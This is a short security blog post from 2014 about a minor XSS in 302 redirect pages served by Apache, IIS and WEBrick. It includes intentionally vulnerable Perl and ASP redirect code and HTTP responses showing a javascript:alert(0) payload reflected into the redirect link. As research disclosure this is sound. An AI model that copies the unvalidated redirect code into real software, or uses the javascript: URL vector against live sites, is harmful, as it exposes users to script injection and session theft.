2014年9月15日月曜日

Minor XSS on Apache, IIS and WeBrick

Javanese version is available at here.

These days, response body of 302 redirect, like below, is difficult to see. Modern browsers can handle 302 redirect automatically.

However, if we can see this 302 redirect page with default settings, it is a little interesting.


ChromeIEFirefoxOpera(Presto)
NormalNGNGNGNG
BlankOKNGOKOK
about:blankNGNGNGOK
javascript:xxxNGNGNGOK(Excellent!)

Although, Opera announced it would drop its own Presto engine, minor web servers' xss flaw can be available.

Apache2.4.7+Perl
Vulnerable perl sample code: 
#! /usr/bin/perl --
use CGI;
my $cgi = CGI->new();
my $url = $cgi->param("url");
print "Location: ".$url."\n\n";
Normal response of Apache 302 redirect is below:
HTTP/1.1 302 Found
Date: Mon, 15 Sep 2014 13:24:05 GMT
Server: Apache/2.4.7 (Ubuntu)
Location: http://www.example.com/
Content-Length: 281
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.example.com/">here</a>.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at localhost Port 80</address>
</body></html>
 It looks that famous XSS vactor '<a href="javascript:xxxx">' is available. Then, result is:

Provably, this 302 redirect response body is hard coded on apache source code.

IIS 7.5 (Windows7) + asp
Sample code:
<%
    Response.Redirect Request.QueryString("url")
%>
Result:


WEBrick/1.3.1
Response:
HTTP/1.1 302 Found
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: javascript:alert(0)
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Request-Id: bb768842-983e-4ef8-b0e7-795193db1a96
X-Runtime: 0.007491
Server: WEBrick/1.3.1 (Ruby/2.1.2/2014-05-08)
Date: Sun, 06 Jul 2014 12:00:51 GMT
Content-Length: 85
Connection: Keep-Alive

<html><body>You are being <a href="javascript:alert(0)">redirected</a>.</body></html>
Very close! It doesn't work with Presto because of CRLF but works with FireFox5.

And I still have a minor alternative :)







0 件のコメント:

コメントを投稿